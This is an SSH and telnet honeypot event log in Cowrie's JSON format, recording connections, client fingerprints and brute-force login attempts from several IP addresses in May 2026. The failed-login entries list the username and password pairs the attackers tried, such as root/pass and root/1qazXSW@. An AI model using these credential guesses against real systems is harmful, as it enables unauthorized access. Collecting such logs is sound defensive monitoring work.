{"eventid":"cowrie.session.closed","duration":41.0923273563385,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:38.732138Z","src_ip":"152.42.224.71","session":"04c01221108d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:39.589387Z","src_ip":"176.65.132.129","session":"6d69cdf02ac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.14302444458008,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:40.060419Z","src_ip":"152.42.224.71","session":"a1558c9bda91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49900,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc89f45b60e8","protocol":"ssh","message":"New connection: 176.65.132.129:49900 (159.203.135.109:22) [session: dc89f45b60e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:41.365607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:41.370878Z","src_ip":"176.65.132.129","session":"dc89f45b60e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:41.452858Z","src_ip":"176.65.132.129","session":"dc89f45b60e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orca","password":"orca","message":"login attempt [orca/orca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:41.699013Z","src_ip":"176.65.132.129","session":"dc89f45b60e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:42.783678Z","src_ip":"176.65.132.129","session":"dc89f45b60e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49928,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e6ffcaa47b0","protocol":"ssh","message":"New connection: 176.65.132.129:49928 (159.203.135.109:22) [session: 4e6ffcaa47b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:44.808591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:44.814686Z","src_ip":"176.65.132.129","session":"4e6ffcaa47b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:44.900095Z","src_ip":"176.65.132.129","session":"4e6ffcaa47b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:45.148677Z","src_ip":"176.65.132.129","session":"4e6ffcaa47b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":60562,"dst_ip":"10.17.0.5","dst_port":22,"session":"73f52a8d7936","protocol":"ssh","message":"New connection: 45.162.8.14:60562 (10.17.0.5:22) [session: 73f52a8d7936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:45.181911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:45.187241Z","src_ip":"45.162.8.14","session":"73f52a8d7936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:45.301349Z","src_ip":"45.162.8.14","session":"73f52a8d7936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"navnath","message":"login attempt [root/navnath] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:45.793667Z","src_ip":"45.162.8.14","session":"73f52a8d7936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:46.233667Z","src_ip":"176.65.132.129","session":"4e6ffcaa47b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:46.915325Z","src_ip":"45.162.8.14","session":"73f52a8d7936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40722,"dst_ip":"159.203.135.109","dst_port":22,"session":"749fad8a1ae7","protocol":"ssh","message":"New connection: 176.65.132.129:40722 (159.203.135.109:22) [session: 749fad8a1ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:48.041270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:48.046007Z","src_ip":"176.65.132.129","session":"749fad8a1ae7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:48.128361Z","src_ip":"176.65.132.129","session":"749fad8a1ae7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQ123456","message":"login attempt [root/QQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:48.377398Z","src_ip":"176.65.132.129","session":"749fad8a1ae7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.74964952468872,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:48.547989Z","src_ip":"152.42.224.71","session":"ad033f7f5699","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:49.479794Z","src_ip":"176.65.132.129","session":"749fad8a1ae7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40728,"dst_ip":"159.203.135.109","dst_port":22,"session":"8eccfd9de021","protocol":"ssh","message":"New connection: 176.65.132.129:40728 (159.203.135.109:22) [session: 8eccfd9de021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:51.310812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:51.315768Z","src_ip":"176.65.132.129","session":"8eccfd9de021","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:51.401500Z","src_ip":"176.65.132.129","session":"8eccfd9de021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:51.794688Z","src_ip":"176.65.132.129","session":"8eccfd9de021","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.212.73.59","src_port":34910,"dst_ip":"159.203.135.109","dst_port":23,"session":"65717b4a266f","protocol":"telnet","message":"New connection: 115.212.73.59:34910 (159.203.135.109:23) [session: 65717b4a266f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:52.614970Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:52.880079Z","src_ip":"176.65.132.129","session":"8eccfd9de021","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41984,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fee685d43be","protocol":"telnet","message":"New connection: 152.42.224.71:41984 (10.17.0.5:23) [session: 5fee685d43be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:54.015609Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40738,"dst_ip":"159.203.135.109","dst_port":22,"session":"66e8acf55894","protocol":"ssh","message":"New connection: 176.65.132.129:40738 (159.203.135.109:22) [session: 66e8acf55894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:54.775889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:54.780822Z","src_ip":"176.65.132.129","session":"66e8acf55894","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:54.865099Z","src_ip":"176.65.132.129","session":"66e8acf55894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:55.119937Z","src_ip":"176.65.132.129","session":"66e8acf55894","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41994,"dst_ip":"10.17.0.5","dst_port":23,"session":"534a5327d010","protocol":"telnet","message":"New connection: 152.42.224.71:41994 (10.17.0.5:23) [session: 534a5327d010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:55.224087Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.250.100","src_port":38928,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cf47a60b19d","protocol":"ssh","message":"New connection: 20.193.250.100:38928 (10.17.0.5:22) [session: 8cf47a60b19d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:55.290587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:55.296001Z","src_ip":"20.193.250.100","session":"8cf47a60b19d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:55.508042Z","src_ip":"20.193.250.100","session":"8cf47a60b19d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":34996,"dst_ip":"10.17.0.5","dst_port":22,"session":"101e17156e82","protocol":"ssh","message":"New connection: 13.71.92.229:34996 (10.17.0.5:22) [session: 101e17156e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:56.181602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:56.187110Z","src_ip":"13.71.92.229","session":"101e17156e82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:56.350338Z","src_ip":"176.65.132.129","session":"66e8acf55894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"scorpio","message":"login attempt [root/scorpio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:56.369275Z","src_ip":"20.193.250.100","session":"8cf47a60b19d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:56.399995Z","src_ip":"13.71.92.229","session":"101e17156e82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00131440162659,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:57.088563Z","src_ip":"152.42.224.71","session":"a4d0d6899960","protocol":"telnet"}
